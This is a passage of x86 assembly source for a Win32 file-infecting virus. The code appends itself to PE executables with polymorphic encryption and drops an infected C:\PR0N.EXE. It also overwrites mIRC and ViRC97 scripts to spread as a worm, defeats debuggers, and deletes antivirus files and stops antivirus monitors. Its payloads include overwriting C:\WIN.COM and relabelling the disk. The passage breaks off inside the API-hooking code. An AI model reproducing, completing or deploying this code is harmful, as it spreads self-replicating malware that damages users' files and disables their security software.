BorrowMIRC: ; Same as above, but with
|
||
xor eax,eax ; mIRC scripts
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _mIRC
|
||
|
||
mIRCWormFile db "mirc.ini",0
|
||
|
||
_mIRC: apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push mIRCWormSize
|
||
lea ebx,[ebp+mIRCWorm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,mIRCWormSize
|
||
call TruncFile
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; ViRC97 script overwrite
|
||
; ===========================================================================
|
||
|
||
BorrowViRC97: ; Same as above, but with
|
||
xor eax,eax ; ViRC97 scripts
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h
|
||
call _ViRC97
|
||
|
||
ViRC97WormFile db "default.lib",0
|
||
|
||
_ViRC97:apicall _CreateFileA
|
||
|
||
mov dword ptr [ebp+TempHandle],eax
|
||
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push ViRC97WormSize
|
||
lea ebx,[ebp+ViRC97Worm]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
|
||
mov ecx,ViRC97WormSize
|
||
call TruncFile
|
||
|
||
push dword ptr [ebp+TempHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Unpack, drop and infect our PE file [TROJAN mode]
|
||
; ===========================================================================
|
||
|
||
DropPR0N:
|
||
push drop_old_size ; Allocate some memory
|
||
push 00000000h
|
||
apicall _GlobalAlloc
|
||
cmpz eax,_ExitDropPR0N
|
||
mov dword ptr [ebp+GlobalAllocHnd],ecx
|
||
|
||
mov edi,dropper_size ; Unpack in allocated memory
|
||
xchg edi,ecx ; the dropper
|
||
lea esi,[ebp+dropper]
|
||
call LSCE_UnPack
|
||
|
||
push 00000000h ; Create the dropper on
|
||
push 00000080h ; C:\PR0N.EXE (hi darkman!) ;)
|
||
push 00000002h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 40000000h
|
||
call _PR0N
|
||
|
||
pr0nfile db "C:\PR0N.EXE",0
|
||
|
||
_ExitDropPR0N:
|
||
jmp ExitDropPR0N
|
||
|
||
_PR0N: apicall _CreateFileA
|
||
|
||
push eax ; Write it, sucka!
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push drop_old_size
|
||
push dword ptr [ebp+GlobalAllocHnd]
|
||
push eax
|
||
apicall _WriteFile
|
||
apicall _CloseHandle
|
||
|
||
lea edi,[ebp+pr0nfile] ; Infect it
|
||
call _Infection
|
||
|
||
push dword ptr [ebp+GlobalAllocHnd] ; And free allocated memory
|
||
apicall _GlobalFree
|
||
ExitDropPR0N:
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Self protect virus againist debuggers
|
||
; ===========================================================================
|
||
|
||
AntiDebugger:
|
||
apicall _GetVersion ; Check for Win95, as it dont
|
||
cmp eax,80000000h ; have the IsDebuggerPresent
|
||
jb BetterNot ; API.
|
||
|
||
cmp ax,0A04h
|
||
jb BetterNot
|
||
|
||
lea esi,[ebp+@IsDebuggerPresent]
|
||
call GetAPI_ET
|
||
call eax ; Are we being debugged? Shit!
|
||
cmpz eax,BetterNot
|
||
|
||
cli ; Who said that Windoze don't
|
||
jmp $-1 ; use interrupts? ;) Int8 rlz
|
||
|
||
BetterNot:
|
||
ret
|
||
|
||
db 0,"[Dedicated to all Tolkien fans over the middle-earth]",0
|
||
|
||
; ===========================================================================
|
||
; Kill AV CRC files
|
||
; ===========================================================================
|
||
|
||
DeleteShit:
|
||
pushad
|
||
lea edi,[ebp+@@BadPhilez] ; Load pointer to first file
|
||
mov ecx,bad_number ; Number of files to erase
|
||
|
||
killem: push ecx ; Save the number
|
||
push edi ; Push file to erase
|
||
apicall _DeleteFileA ; Delete it!
|
||
pop ecx ; Restore the number
|
||
xor al,al ; Get the next file
|
||
scasb
|
||
jnz $-1
|
||
loop killem ; Loop and delete another :)
|
||
popad
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Kill the processes of determinated AV monitors
|
||
; ===========================================================================
|
||
|
||
KillMonitors:
|
||
lea edi,[ebp+Monitors2Kill]
|
||
KM_L00p:
|
||
call TerminateProc
|
||
xor al,al ; Reach the end of string
|
||
scasb
|
||
jnz $-1
|
||
cmp byte ptr [edi],0BBh ; Last item of array?
|
||
jnz KM_L00p
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Avoid infection of certain files
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to file name
|
||
; output:
|
||
; CF = Set to 1 if it exist, to 0 if it doesn't
|
||
;
|
||
|
||
AvoidShitFiles:
|
||
lea esi,[ebp+@@BadProgramz] ; Ptr to table
|
||
ASF_Loop:
|
||
xor eax,eax ; Clear EAX
|
||
lodsb ; Load size of string in AL
|
||
cmp al,0BBh ; End of table?
|
||
jz AllShitFilesProcessed ; Oh, shit!
|
||
xchg eax,ecx ; Put Size in ECX
|
||
push edi ; Preserve program pointer
|
||
rep cmpsb ; Compare both strings
|
||
pop edi ; Restore program pointer
|
||
jz ShitFileFound ; Damn, a shitty file!
|
||
add esi,ecx ; Pointer to another string
|
||
jmp ASF_Loop ; in table & loop
|
||
AllShitFilesProcessed:
|
||
mov cl,00h ; Overlap, so CL = 0F9h
|
||
org $-1
|
||
ShitFileFound:
|
||
stc ; Set carry
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PE Infection (with parameters)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to file name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
_Infection:
|
||
push edi
|
||
apicall _GetFileAttributesA
|
||
cmp_ eax,_ExitInfection
|
||
mov dword ptr [ebp+WFD_dwFileAttributes],eax
|
||
|
||
mov esi,edi
|
||
call OpenFile
|
||
cmp_ eax,_ExitInfection
|
||
|
||
push eax
|
||
|
||
push 00000000h
|
||
push eax
|
||
apicall _GetFileSize
|
||
mov dword ptr [ebp+WFD_nFileSizeLow],eax
|
||
|
||
apicall _CloseHandle
|
||
|
||
lea esi,[ebp+WFD_szFileName]
|
||
xchg esi,edi
|
||
duhast: lodsb
|
||
or al,al
|
||
jz engel
|
||
stosb
|
||
jmp duhast
|
||
engel: stosb
|
||
push dword ptr [ebp+NewEIP]
|
||
push dword ptr [ebp+OldEIP]
|
||
push dword ptr [ebp+ModBase]
|
||
call Infection
|
||
pop dword ptr [ebp+ModBase]
|
||
pop dword ptr [ebp+OldEIP]
|
||
pop dword ptr [ebp+NewEIP]
|
||
|
||
mov cl,00h ; Overlapppppp
|
||
org $-1
|
||
_ExitInfection:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; PE Infection (with WIN32_FIND_DATA)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; Nothing (everything needed is in WFD structure).
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
Infection:
|
||
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
|
||
push 80h
|
||
push esi
|
||
apicall _SetFileAttributesA ; Wipe its attributes
|
||
|
||
call OpenFile ; Open it
|
||
|
||
cmp_ eax,CantOpen
|
||
mov dword ptr [ebp+FileHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
|
||
call CreateMap ; its exact size
|
||
cmpz_ eax,CloseFile
|
||
|
||
mov dword ptr [ebp+MapHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||
call MapFile ; Map it
|
||
cmpz_ eax,UnMapFile
|
||
|
||
mov dword ptr [ebp+MapAddress],eax
|
||
|
||
mov esi,eax ; Get PE Header
|
||
mov esi,[esi+3Ch]
|
||
add esi,eax
|
||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||
jnz NoInfect
|
||
|
||
cmp dword ptr [esi+mark],ddInfMark ; Was it infected?
|
||
jz NoInfect
|
||
|
||
push dword ptr [ebp+MapAddress]
|
||
apicall _UnmapViewOfFile
|
||
|
||
push dword ptr [ebp+MapHandle]
|
||
apicall _CloseHandle
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
|
||
add ecx,virus_size
|
||
call CreateMap
|
||
cmpz_ eax,CloseFile
|
||
|
||
mov dword ptr [ebp+MapHandle],eax
|
||
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||
add ecx,virus_size
|
||
call MapFile
|
||
cmpz_ eax,UnMapFile
|
||
mov dword ptr [ebp+MapAddress],eax
|
||
|
||
mov esi,eax
|
||
mov esi,[eax+3Ch]
|
||
add esi,eax
|
||
|
||
call GetLastSection ; ESI = Last Section
|
||
; EDI = PE header
|
||
|
||
mov eax,[edi+28h] ; Save original EIP
|
||
mov dword ptr [ebp+OldEIP],eax
|
||
|
||
mov edx,[esi+10h]
|
||
mov ebx,edx
|
||
add edx,[esi+14h] ; EDX = Phisical address where
|
||
; append virus
|
||
|
||
push edx
|
||
|
||
mov eax,ebx
|
||
add eax,[esi+0Ch] ; EAX = VA of new EIP
|
||
mov [edi+28h],eax ; Set the new entrypoint
|
||
mov dword ptr [ebp+NewEIP],eax
|
||
|
||
mov eax,[esi+10h] ; Retrieve new SizeOfRawData
|
||
add eax,virus_size ; and VirtualSize
|
||
mov ecx,[edi+3Ch]
|
||
call Align
|
||
|
||
mov [esi+10h],eax ; Set new SizeOfRawData
|
||
mov [esi+08h],eax ; Set new VirtualSize
|
||
|
||
pop edx
|
||
|
||
mov eax,[esi+10h] ; Set new SizeOfImage
|
||
add eax,[esi+0Ch]
|
||
mov [edi+50h],eax
|
||
|
||
and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they
|
||
and dword ptr [edi+0A4h],00h ; won't fuck us :)
|
||
|
||
or dword ptr [esi+24h],section_flags ; Set new section attributes
|
||
|
||
mov dword ptr [edi+mark],ddInfMark ; Mark infected files
|
||
|
||
push dword ptr [ebp+WFD_nFileSizeLow]
|
||
pop dword ptr [edi+orig_size] ; Store orig. size for stealth
|
||
|
||
push dword ptr [edi+3Ch]
|
||
push dword ptr [ebp+infections]
|
||
and dword ptr [ebp+infections],00h
|
||
|
||
; Some RDA stuff
|
||
|
||
push edi esi edx ; Save ESI and EDI for later
|
||
lea esi,[ebp+crypto]
|
||
mov edi,encrypt_size
|
||
call CRC32 ; Obtain virus CRC32
|
||
pop edx esi edi
|
||
mov dword ptr [ebp+CRC],eax ; Store it
|
||
|
||
push edx
|
||
apicall _GetTickCount ; Get a random number as seed
|
||
xchg ebx,eax ; for RDA encryption
|
||
pop edx
|
||
|
||
; Append virus & RDA encryption
|
||
|
||
mov edi,dword ptr [ebp+MapAddress] ; Write non crypted part
|
||
add edi,edx
|
||
push edi
|
||
lea esi,[ebp+virus_start]
|
||
mov ecx,non_crypt_size
|
||
cld
|
||
rep movsb
|
||
|
||
mov ecx,encrypt_size ; Encrypt and copy the rest
|
||
cryptl: lodsb
|
||
xor al,bl
|
||
stosb
|
||
loop cryptl
|
||
pop edi
|
||
|
||
; Poly decryptor generation
|
||
|
||
lea eax,[ebp+random_seed] ; Get a slow seed for poly
|
||
push eax
|
||
apicall _GetSystemTime
|
||
|
||
mov eax,poly_virus_size ; Obtain exactly a reliable
|
||
mov ecx,4 ; value of virus_size divided
|
||
call Align ; by 4
|
||
shr eax,2
|
||
xchg eax,ecx
|
||
|
||
mov esi,edi
|
||
add esi,LIMIT
|
||
call THME ; generate the poly decryptor
|
||
|
||
pop dword ptr [ebp+infections]
|
||
|
||
mov eax,edi ; Trunc file
|
||
sub eax,dword ptr [ebp+MapAddress]
|
||
pop ecx
|
||
call Align
|
||
xchg eax,ecx
|
||
call TruncFile
|
||
|
||
jmp UnMapFile
|
||
NoInfect:
|
||
stc
|
||
dec byte ptr [ebp+infections] ; Shit, if we are here,
|
||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; something failed :(
|
||
call TruncFile
|
||
|
||
UnMapFile:
|
||
push dword ptr [ebp+MapAddress] ; Close map view of file
|
||
apicall _UnmapViewOfFile
|
||
|
||
CloseMap:
|
||
push dword ptr [ebp+MapHandle] ; Close map handle
|
||
apicall _CloseHandle
|
||
|
||
CloseFile:
|
||
push dword ptr [ebp+FileHandle] ; Close file handle
|
||
apicall _CloseHandle
|
||
|
||
CantOpen:
|
||
push dword ptr [ebp+WFD_dwFileAttributes]
|
||
lea eax,[ebp+WFD_szFileName] ; Restore old attributes
|
||
push eax
|
||
apicall _SetFileAttributesA
|
||
ret
|
||
|
||
db 0,"[Welcome to the Middle-Earth, my dear friend]",0
|
||
|
||
; ===========================================================================
|
||
; Tiny method for get KERNEL32 base address
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Program return address
|
||
; ECX = Limit of pages where search
|
||
; output:
|
||
; EAX = Base address of KERNEL32.dll
|
||
;
|
||
|
||
GetK32 proc ; My own little GetK32 :)
|
||
and esi,0FFFF0000h
|
||
_@1: jecxz WeFailed ; Thanx to Super for the idea
|
||
cmp word ptr [esi],"ZM" ; and Qozah for notifying me
|
||
jz CheckPE ; a little error (Thnx man!)
|
||
_@2: sub esi,10000h
|
||
dec ecx
|
||
jmp _@1
|
||
|
||
CheckPE:
|
||
mov edi,[esi+3Ch]
|
||
add edi,esi
|
||
cmp dword ptr [edi],"EP"
|
||
jz WeGotK32
|
||
jmp _@2
|
||
WeFailed:
|
||
cmp byte ptr [ebp+inNT],00h ; Otherwise, hardcode to the
|
||
jz W9X ; proper OS.
|
||
mov esi,kernel_wNT ; NT = 77F00000h
|
||
jmp WeGotK32
|
||
W9X: mov esi,kernel_ ; 9X = BFF70000h
|
||
WeGotK32:
|
||
xchg eax,esi
|
||
ret
|
||
GetK32 endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API addresses (from Export Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Pointer to where you want the first API Address
|
||
; ESI = Pointer to the first API Name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
GetAPIs proc
|
||
@@1: push esi
|
||
push edi
|
||
call GetAPI_ET
|
||
pop edi
|
||
pop esi
|
||
|
||
stosd
|
||
|
||
xchg edi,esi
|
||
|
||
xor al,al
|
||
@@2: scasb
|
||
jnz @@2
|
||
|
||
xchg edi,esi
|
||
|
||
@@3: cmp byte ptr [esi],0BBh
|
||
jz @@4
|
||
jmp @@1
|
||
@@4: ret
|
||
GetAPIs endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API address (from Export Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to API Name
|
||
; output:
|
||
; EAX = API address
|
||
;
|
||
|
||
GetAPI_ET proc
|
||
mov edx,esi
|
||
mov edi,esi
|
||
|
||
xor al,al
|
||
@_1: scasb
|
||
jnz @_1
|
||
|
||
sub edi,esi ; EDI = API Name size
|
||
mov ecx,edi
|
||
|
||
xor eax,eax
|
||
mov esi,3Ch
|
||
rva2va esi,kernel
|
||
|
||
lodsw
|
||
rva2va eax,kernel
|
||
|
||
mov esi,[eax+78h]
|
||
add esi,1Ch
|
||
rva2va esi,kernel
|
||
|
||
lodsd
|
||
rva2va eax,kernel
|
||
mov dword ptr [ebp+AddressTableVA],eax
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
push eax ; mov [NameTableVA],eax =)
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
|
||
mov dword ptr [ebp+OrdinalTableVA],eax
|
||
pop esi
|
||
|
||
xor ebx,ebx
|
||
|
||
@_3: push esi
|
||
lodsd
|
||
|
||
rva2va eax,kernel
|
||
mov esi,eax
|
||
mov edi,edx
|
||
|
||
push ecx
|
||
cld
|
||
rep cmpsb
|
||
pop ecx
|
||
jz @_4
|
||
pop esi
|
||
add esi,4
|
||
inc ebx
|
||
jmp @_3
|
||
|
||
@_4:
|
||
pop esi
|
||
xchg eax,ebx
|
||
shl eax,1
|
||
add eax,dword ptr [ebp+OrdinalTableVA]
|
||
xor esi,esi
|
||
xchg eax,esi
|
||
lodsw
|
||
shl eax,2
|
||
add eax,dword ptr [ebp+AddressTableVA]
|
||
xchg esi,eax
|
||
lodsd
|
||
rva2va eax,kernel
|
||
ret
|
||
GetAPI_ET endp
|
||
|
||
; ===========================================================================
|
||
; Retrieve API address (from Import Table)
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EDI = Offset of API address to retrieve
|
||
; output:
|
||
; EAX = Address of the API
|
||
; EBX = Address of the API address in the import
|
||
;
|
||
|
||
GetAPI_IT proc
|
||
mov dword ptr [ebp+TempGA_IT1],edi
|
||
mov ebx,edi
|
||
xor al,al
|
||
scasb
|
||
jnz $-1
|
||
sub edi,ebx
|
||
|
||
mov dword ptr [ebp+TempGA_IT2],edi
|
||
|
||
xor eax,eax
|
||
mov esi,dword ptr [ebp+imagebase]
|
||
add esi,3Ch
|
||
lodsw
|
||
add eax,dword ptr [ebp+imagebase]
|
||
xchg esi,eax
|
||
lodsd
|
||
|
||
cmp eax,"EP"
|
||
jnz nopes
|
||
|
||
add esi,7Ch
|
||
lodsd
|
||
push eax
|
||
lodsd
|
||
mov ecx,eax
|
||
pop esi
|
||
add esi,dword ptr [ebp+imagebase]
|
||
|
||
SearchK32:
|
||
push esi
|
||
mov esi,[esi+0Ch]
|
||
add esi,dword ptr [ebp+imagebase]
|
||
lea edi,[ebp+K32_DLL]
|
||
mov ecx,K32_Size
|
||
cld
|
||
push ecx
|
||
rep cmpsb
|
||
pop ecx
|
||
pop esi
|
||
jz gotcha
|
||
add esi,14h
|
||
jmp SearchK32
|
||
gotcha:
|
||
cmp byte ptr [esi],00h
|
||
jz nopes
|
||
mov edx,[esi+10h]
|
||
add edx,dword ptr [ebp+imagebase]
|
||
lodsd
|
||
jz nopes
|
||
|
||
xchg edx,eax
|
||
add edx,[ebp+imagebase]
|
||
xor ebx,ebx
|
||
loopy:
|
||
cmp dword ptr [edx+00h],00h
|
||
jz nopes
|
||
cmp byte ptr [edx+03h],80h
|
||
jz reloop
|
||
|
||
mov edi,dword ptr [ebp+TempGA_IT1]
|
||
mov ecx,dword ptr [ebp+TempGA_IT2]
|
||
mov esi,[edx]
|
||
add esi,dword ptr [ebp+imagebase]
|
||
add esi,2
|
||
push ecx
|
||
rep cmpsb
|
||
pop ecx
|
||
jz wegotit
|
||
reloop:
|
||
inc ebx
|
||
add edx,4
|
||
loop loopy
|
||
wegotit:
|
||
shl ebx,2
|
||
add ebx,eax
|
||
mov eax,[ebx]
|
||
db 0B1h
|
||
nopes:
|
||
stc
|
||
ret
|
||
GetAPI_IT endp
|
||
|
||
; ===========================================================================
|
||
; Payloads
|
||
; ===========================================================================
|
||
; White trash get down on your knees... and you'll get cake and sodomy!
|
||
|
||
payload proc
|
||
apicall _GetTickCount ; Get a random payload
|
||
and eax,payload_number
|
||
lea esi,[ebp+payload_table+eax*4]
|
||
lodsd
|
||
add eax,ebp
|
||
call eax ; Call to it
|
||
ret
|
||
payload endp
|
||
|
||
payload1 proc
|
||
push 00000000h ; Mmm, a new win.com :)
|
||
push 00000080h
|
||
push 00000002h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 40000000h
|
||
call ___
|
||
db "C:\WIN.COM",0
|
||
___: apicall _CreateFileA
|
||
push eax
|
||
push 00000000h
|
||
lea ebx,[ebp+iobytes]
|
||
push ebx
|
||
push p_size
|
||
lea ebx,[ebp+payl0ad]
|
||
push ebx
|
||
push eax
|
||
apicall _WriteFile
|
||
apicall _CloseHandle
|
||
ret
|
||
payload1 endp
|
||
|
||
payload2 proc
|
||
call __
|
||
db "THORIN",0 ; HD Name is... THORIN :)
|
||
__: push 00000000h
|
||
apicall _SetVolumeLabelA
|
||
ret
|
||
payload2 endp
|
||
|
||
payload3 proc
|
||
push 00000001h
|
||
apicall _SwapMouseButton ; Left is right, right is left
|
||
ret
|
||
payload3 endp
|
||
|
||
payload4 proc
|
||
push 00001010h ; Display message
|
||
lea eax,[ebp+vname]
|
||
push eax
|
||
call _2
|
||
|
||
; Stupid message to annoy user... panic ain't good, but... what is good? ;)
|
||
|
||
db "Thorin... Thorin... Thorin... Thorin... Thorin...",13,13
|
||
db "I am Thorin, son of Thrain, son of Thror",13
|
||
db "and your computer is mine... mwahahahahaha!",13
|
||
db "I will give you... the death you deserve!",13,13
|
||
db "...Thorin ...Thorin ...Thorin ...Thorin ...Thorin",0
|
||
|
||
_2: push 00000000h
|
||
apicall _MessageBoxA
|
||
payload4 endp
|
||
|
||
payload5 proc
|
||
lea ebx,[ebp+szSHELL32]
|
||
push ebx
|
||
apicall _LoadLibraryA ; Get SHELL32 base address
|
||
lea ecx,[ebp+@ShellExecuteA]
|
||
push ecx
|
||
push eax
|
||
apicall _GetProcAddress ; Get ShellExecuteA address
|
||
xor ebx,ebx
|
||
push ebx
|
||
push ebx
|
||
push ebx
|
||
lea ecx,[ebp+szMicro$oft]
|
||
push ecx
|
||
lea ecx,[ebp+szOPEN]
|
||
push ecx
|
||
push ebx
|
||
call eax ; Open Micro$oft web
|
||
ret
|
||
payload5 endp
|
||
|
||
; ===========================================================================
|
||
; Some miscellaneous functions
|
||
; ===========================================================================
|
||
; ALIGN
|
||
;
|
||
; input:
|
||
; EAX = Number to align
|
||
; ECX = Alignment factor
|
||
; output:
|
||
; EAX = Aligned number
|
||
;
|
||
|
||
Align proc
|
||
push edx
|
||
xor edx,edx
|
||
push eax
|
||
div ecx
|
||
pop eax
|
||
sub ecx,edx
|
||
add eax,ecx
|
||
pop edx
|
||
ret
|
||
Align endp
|
||
|
||
; TRUNCFILE
|
||
;
|
||
; input:
|
||
; ECX = Where trunc file
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
TruncFile proc
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push ecx
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _SetFilePointer
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _SetEndOfFile
|
||
ret
|
||
TruncFile endp
|
||
|
||
; OPENFILE
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file
|
||
; output:
|
||
; EAX = Handle (if succesful) / -1 (if failed)
|
||
;
|
||
|
||
OpenFile proc
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push 00000003h
|
||
push eax
|
||
inc eax
|
||
push eax
|
||
push 40000000h or 80000000h
|
||
push esi
|
||
apicall _CreateFileA
|
||
ret
|
||
OpenFile endp
|
||
|
||
; CREATEMAP
|
||
;
|
||
; input:
|
||
; ECX = Size to map
|
||
; output:
|
||
; EAX = Handle (if succesful) / 0 (if failed)
|
||
;
|
||
|
||
CreateMap proc
|
||
xor eax,eax
|
||
push eax
|
||
push ecx
|
||
push eax
|
||
push 00000004h
|
||
push eax
|
||
push dword ptr [ebp+FileHandle]
|
||
apicall _CreateFileMappingA
|
||
ret
|
||
CreateMap endp
|
||
|
||
; MAPFILE
|
||
;
|
||
; input:
|
||
; ECX = Size to map
|
||
; output:
|
||
; EAX = Handle (if succesful) / 0 (if failed)
|
||
|
||
MapFile proc
|
||
xor eax,eax
|
||
push ecx
|
||
push eax
|
||
push eax
|
||
push 000F001Fh
|
||
push dword ptr [ebp+MapHandle]
|
||
apicall _MapViewOfFile
|
||
ret
|
||
MapFile endp
|
||
|
||
; REGEXIST
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; CF = Set to 1 if it exist, to 0 if it doesn't
|
||
;
|
||
|
||
RegExist proc
|
||
lea eax,[ebp+RegHandle]
|
||
push eax
|
||
push 000F003Fh
|
||
push 00000000h
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegOpenKeyExA
|
||
cmp eax,2
|
||
jz RegExistExitCF0
|
||
push dword ptr [ebp+RegHandle]
|
||
apicall _CloseHandle
|
||
stc
|
||
ret
|
||
RegExistExitCF0:
|
||
clc
|
||
ret
|
||
RegExist endp
|
||
|
||
; PUTREG
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
PutReg proc
|
||
lea eax,[ebp+Disposition]
|
||
push eax
|
||
lea eax,[ebp+RegHandle]
|
||
push eax
|
||
xor eax,eax
|
||
push eax
|
||
push 000F003Fh
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegCreateKeyExA
|
||
push dword ptr [ebp+RegHandle]
|
||
apicall _CloseHandle
|
||
ret
|
||
PutReg endp
|
||
|
||
; DELREG
|
||
;
|
||
; input:
|
||
; ESI = Pointer to key name
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
DelReg proc
|
||
push esi
|
||
push 80000001h
|
||
apicall _RegDeleteKeyA
|
||
ret
|
||
DelReg endp
|
||
|
||
; TERMINATEPROC
|
||
;
|
||
; input:
|
||
; EDI = Pointer to the name of the window of the process we wanna kill
|
||
; output:
|
||
; CF = Set to 1 if it wasn't found or killed, to 0 if it was killed
|
||
;
|
||
|
||
TerminateProc proc
|
||
xor ebx,ebx ; Thnx 2 Bennyg0d :)
|
||
push edi
|
||
push ebx
|
||
apicall _FindWindowA
|
||
xchg eax,ecx
|
||
jecxz TP_ErrorExit
|
||
push ebx
|
||
push ebx
|
||
push 00000012h
|
||
push ecx
|
||
apicall _PostMessageA
|
||
mov cl,00h
|
||
org $-1
|
||
TP_ErrorExit:
|
||
stc
|
||
ret
|
||
TerminateProc endp
|
||
|
||
; GETLASTSECTION
|
||
;
|
||
; input:
|
||
; ESI = Pointer to PE header
|
||
; output:
|
||
; ESI = Pointer to last section
|
||
; EDI = Pointer to PE header
|
||
;
|
||
|
||
GetLastSection proc
|
||
mov edi,esi
|
||
movzx eax,word ptr [edi+06h] ; Get ptr to last section
|
||
dec eax
|
||
imul eax,eax,28h ; C'mon, feel the noise...
|
||
add esi,eax
|
||
add esi,78h
|
||
mov edx,[edi+74h]
|
||
shl edx,03h
|
||
add esi,edx
|
||
ret
|
||
GetLastSection endp
|
||
|
||
; ===========================================================================
|
||
; Get Delta Offset
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; Nothing.
|
||
; output:
|
||
; ECX = Delta Offset
|
||
;
|
||
|
||
GetDeltaOffset proc
|
||
call getitright ; Oh! What is this? Incredible!
|
||
getitright:
|
||
pop ebp
|
||
sub ebp,offset getitright
|
||
ret
|
||
GetDeltaOffset endp
|
||
|
||
; ===========================================================================
|
||
; Dropper unpacker (25 bytes) <<->> [LSCE] - Little Shitty Compression Engine
|
||
; ===========================================================================
|
||
;
|
||
; ??? ??????? ??????? ???????
|
||
; ? ? ? ????? ? ????? ? ????? The Little and Shitty Compression Engine
|
||
; ? ????? ????? ? ? ????? ? ????? Poorly coded and written by...
|
||
; ??????? ??????? ??????? ??????? Who cares? :) Well... by me. Any problem?
|
||
;
|
||
; This is a very simple packing engine, based in the repetition of zeros that
|
||
; the PE files have, thus it is able to compress a PE file... Hehehe, i can
|
||
; put a dropper without caring about its space! That was the only reason of
|
||
; make this little shit. Maybe one day i will make a 'real' compression engi-
|
||
; ne, but today i'm too busy :)
|
||
;
|
||
; input:
|
||
; EDI = Offset where unpack
|
||
; ESI = Data to unpack
|
||
; ECX = Size of packed data
|
||
; output:
|
||
; Nothing.
|
||
;
|
||
|
||
LSCE_UnPack proc
|
||
xor eax,eax ; 2 bytes Hehehe, i
|
||
process_byte: ; think i'm
|
||
lodsb ; 1 byte turning a
|
||
or al,al ; 2 bytes little bit
|
||
jnz store_byte ; 2 bytes paranoid...
|
||
dec ecx ; 1 byte
|
||
dec ecx ; 1 byte
|
||
lodsw ; 2 bytes
|
||
push ecx ; 1 byte
|
||
xor ecx,ecx ; 2 bytes
|
||
xchg eax,ecx ; 1 byte
|
||
rep stosb ; 2 bytes
|
||
pop ecx ; 1 byte
|
||
loop process_byte ; 2 bytes
|
||
jecxz all_unpacked ; 2 bytes
|
||
store_byte:
|
||
stosb ; 1 byte
|
||
loop process_byte ; 2 bytes
|
||
all_unpacked:
|
||
ret ; 2 bytes
|
||
LSCE_UnPack endp
|
||
|
||
; ===========================================================================
|
||
; Hook all the possible APIs, of host IT
|
||
; ===========================================================================
|
||
|
||
HookAllAPIs:
|
||
mov eax,dword ptr [ebp+ModBase] ; file modbase=file imagebase
|
||
mov dword ptr [ebp+imagebase],eax
|
||
|
||
lea edi,[ebp+@@Hookz] ; Ptr to the first API
|
||
nxtapi: push edi
|
||
call GetAPI_IT ; Get it from Import Table
|
||
pop edi
|
||
jc Next_IT_Struc_ ; Fail? Damn...
|
||
|
||
xor al,al ; Reach the end of API string
|
||
scasb
|
||
jnz $-1
|
||
|
||
mov eax,[edi] ; All must be in its place :)
|
||
add eax,ebp
|
||
mov [ebx],eax
|
||
Next_IT_Struc:
|
||
add edi,4
|
||
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
|
||
jz AllHooked
|
||
jmp nxtapi
|
||
AllHooked:
|
||
ret
|
||
|
||
Next_IT_Struc_:
|
||
xor al,al
|
||
scasb
|
||
jnz $-1
|
||
jmp Next_IT_Struc
|
||
|
||
; A bard was our savior!
|
||
|
||
db 0,"[Glory to the Bards!]",0
|
||
|
||
; ===========================================================================
|
||
; Hooks' code
|
||
; ===========================================================================
|
||
|
||
HookMoveFileA:
|
||
